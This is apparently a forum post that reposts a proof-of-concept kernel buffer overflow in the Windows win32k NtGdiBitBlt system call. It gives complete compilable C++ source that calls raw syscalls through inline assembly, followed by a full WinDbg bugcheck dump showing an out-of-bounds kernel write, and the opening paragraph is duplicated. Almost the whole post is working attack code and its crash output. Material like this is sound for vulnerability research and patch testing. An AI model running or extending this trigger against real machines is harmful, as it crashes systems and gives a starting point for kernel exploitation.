Hi GuyZ,
I hope you have noticed recently detected vulnerabilities of Windows OS. The BOF vulnerability is detected in the NtGdiBitBlt system call.
For more details: https://code.google.com/p/google-security-research/issues/detail?id=474
The POC reproduces reliable on Win 7 32-bit with Special Pool enabled on win32k.sys.
I hope you have noticed recently detected vulnerabilities of Windows OS. The BOF vulnerability is detected in the NtGdiBitBlt system call.
For more details: https://code.google.com/p/google-security-research/issues/detail?id=474
The POC reproduces reliable on Win 7 32-bit with Special Pool enabled on win32k.sys.
POC
/*
* compile:
* cl.exe bug474.cpp user32.lib gdi32.lib shell32.lib
*/
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <time.h>
HWND notepad(LPCSTR name) {
char filename[1024], title[1024];
FILE *f=0x0;
sprintf_s(filename, 1024, "%s.txt", name);
DWORD rc = fopen_s(&f, filename, "w");
if(rc!=0) {
printf("[-] failed to create temporary text file\n");
}
fclose(f);
HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW);
if(inst < (HINSTANCE)33) {
printf("[-] failed to start notepad\n");
}
while(1) {
sprintf_s(title, 1024, "%s - Notepad", name);
HWND hwnd = FindWindowA(0x0, title);
if(hwnd) {
return hwnd;
}
sprintf_s(title, 1024, "%s.txt - Notepad", name);
hwnd = FindWindowA(0x0, title);
if(hwnd) {
//printf("[-] failed to retrieve handle to notepad window\n");
//return 0x0;
return hwnd;
}
}
return 0x0;
}
__declspec(noinline) int __stdcall NtGdiSetLayout(HDC hdc, DWORD d0, DWORD d1) {
__asm {
push d1
push d0
push hdc
push 0x0
mov eax, 0x1123
mov edx, 0x7ffe0300
call dword ptr [edx]
add esp, 0x10
}
}
__declspec(noinline) int __stdcall NtGdiBitBlt(HDC hdc, DWORD dw1, DWORD dw2,DWORD dw3,DWORD dw4,HDC hdc2,DWORD dw6,DWORD dw7, DWORD dw8) {
__asm {
push dw8
push dw7
push dw6
push hdc2
push dw4
push dw3
push dw2
push dw1
push hdc
push 0x0
mov eax, 0x100e
mov edx, 0x7ffe0300
call dword ptr [edx]
add esp, 0x30
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HDC hdc1 = CreateDCA(0,"Microsoft XPS Document Writer", 0, 0);
printf("[-] hdc1: %08x\n", hdc1);
NtGdiSetLayout(hdc1, 0x6d, 0xc5abb63);
HWND hwnd1 = notepad("test1");
printf("[-] hwnd1: %08x\n", hwnd1);
HDC hdc2 = GetDC(hwnd1);
printf("[-] hdc2: %08x\n", hdc2);
NtGdiBitBlt(hdc1, 0, 0xae, 0x4c, 0x1a, hdc2, 0xb2, 0x47, 0x330008);
}
Details
*** Fatal System Error: 0x000000d6
(0xFFA0B1B9,0x00000001,0x947F3EB4,0x00000000)
Driver at fault:
*** win32k.sys - Address 947F3EB4 base at 94730000, DateStamp 00000000
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
Connected to Windows 7 7601 x86 compatible target at (Sun Jun 28 23:31:46.512 2015 (UTC + 2:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
.........................
Loading User Symbols
........................................
Loading unloaded module list
...............
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
Use !analyze -v to get detailed debugging information.
BugCheck D6, {ffa0b1b9, 1, 947f3eb4, 0}
*** WARNING: Unable to verify checksum for a10.exe
*** ERROR: Module load completed but symbols could not be loaded for a10.exe
Probably caused by : win32k.sys ( win32k!memcpy+74 )
Followup: MachineOwner
---------
Assertion: *** DPC watchdog timeout
This is NOT a break in update time
This is most likely a BUG in an ISR
Perform a stack trace to find the culprit
The period will be doubled on continuation
Use gh to continue!!
nt!KeAccumulateTicks+0x3c5:
82a909ec cd2c int 2Ch
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffa0b1b9, memory referenced
Arg2: 00000001, value 0 = read operation, 1 = write operation
Arg3: 947f3eb4, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
WRITE_ADDRESS: ffa0b1b9 Special pool
FAULTING_IP:
win32k!memcpy+74
947f3eb4 8807 mov byte ptr [edi],al
MM_INTERNAL_CODE: 0
IMAGE_NAME: win32k.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 55635516
MODULE_NAME: win32k
FAULTING_MODULE: 94730000 win32k
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0xD6
PROCESS_NAME: a10.exe
CURRENT_IRQL: 1c
TRAP_FRAME: 9f92edfc -- (.trap 0xffffffff9f92edfc)
ErrCode = 00000002
eax=000000ff ebx=ffa0b1b9 ecx=00000005 edx=00000001 esi=9f92eff5 edi=ffa0b1b9
eip=947f3eb4 esp=9f92ee70 ebp=9f92ee78 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
win32k!memcpy+0x74:
947f3eb4 8807 mov byte ptr [edi],al ds:0023:ffa0b1b9=??
Resetting default scope
LAST_CONTROL_TRANSFER: from 82a8feb3 to 82a909ec
STACK_TEXT:
9f92e820 82a8feb3 0002625a 00000000 00010300 nt!KeAccumulateTicks+0x3c5
9f92e860 82a8fd60 82e430a8 0f77c71d 00000000 nt!KeUpdateRunTime+0x145
9f92e8b8 82a8f563 9f92e802 9f92e802 000000d1 nt!KeUpdateSystemTime+0x613
9f92e8b8 82e430a8 9f92e802 9f92e802 000000d1 nt!KeUpdateSystemTimeAssist+0x13
9f92e93c 82e31b8c 00001000 00000000 9f92e99c hal!READ_PORT_USHORT+0x8
9f92e94c 82e31cf5 82af4582 c4073ec3 00000065 hal!HalpCheckPowerButton+0x2e
9f92e950 82af4582 c4073ec3 00000065 00000000 hal!HaliHaltSystem+0x7
9f92e99c 82af5029 00000003 00000000 00000002 nt!KiBugCheckDebugBreak+0x73
9f92ed60 82aa2ff9 00000050 ffa0b1b9 00000001 nt!KeBugCheck2+0x68b
9f92ede4 82a55a88 00000001 ffa0b1b9 00000000 nt!MmAccessFault+0x104
9f92ede4 947f3eb4 00000001 ffa0b1b9 00000000 nt!KiTrap0E+0xdc
9f92ee78 947c9a8a ffa0b1b9 9f92eff5 00000008 win32k!memcpy+0x74
9f92eed8 9477d91c 00000008 0b06bcfc 9f92f4a0 win32k!vSrcCopyS1D1LtoR+0x1eb
9f92f480 9477cf6e 9f92f608 00000019 ffa0ada8 win32k!BltLnkRect+0x91c
9f92f70c 947ec14c 00000000 fc2d2000 00000000 win32k!BltLnk+0x78b
9f92f798 9488811d 00000000 fc2d2010 00000000 win32k!EngBitBlt+0x4c5
9f92f834 9487dee2 ffa0adb8 ff0fadb8 00000000 win32k!EngStretchBltROP+0x282
9f92f914 947b0091 00000000 9f92fa54 94887e9b win32k!BLTRECORD::bStretch+0x459
9f92fa90 947acd2c ab21078b 00000000 000000ae win32k!GreStretchBltInternal+0x785
9f92facc 94807ac7 ab21078b 00000000 000000ae win32k!GreStretchBlt+0x30
9f92fbcc 947e4cda ab21078b 00000000 000000ae win32k!NtGdiBitBltInternal+0x765
9f92fc00 82a528a6 ab21078b 00000000 000000ae win32k!NtGdiBitBlt+0x2f
9f92fc00 77257074 ab21078b 00000000 000000ae nt!KiSystemServicePostCall
0018f7f8 011911cc 00000000 ab21078b 00000000 ntdll!KiFastSystemCallRet
WARNING: Stack unwind information not available. Following frames may be wrong.
0018f828 0119127e ab21078b 00000000 000000ae a10+0x11cc
0018f860 0119165d 00000001 0027efa8 00283738 a10+0x127e
0018f8a8 7577ee6c 7ffd9000 0018f8f4 7727399b a10+0x165d
0018f8b4 7727399b 7ffd9000 7739f8b6 00000000 kernel32!BaseThreadInitThunk+0xe
0018f8f4 7727396e 011916da 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70
0018f90c 00000000 011916da 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: kb
FOLLOWUP_IP:
win32k!memcpy+74
947f3eb4 8807 mov byte ptr [edi],al
SYMBOL_STACK_INDEX: b
SYMBOL_NAME: win32k!memcpy+74
FOLLOWUP_NAME: MachineOwner
FAILURE_BUCKET_ID: 0xD6_VRF_win32k!memcpy+74
BUCKET_ID: 0xD6_VRF_win32k!memcpy+74
Followup: MachineOwner
---------
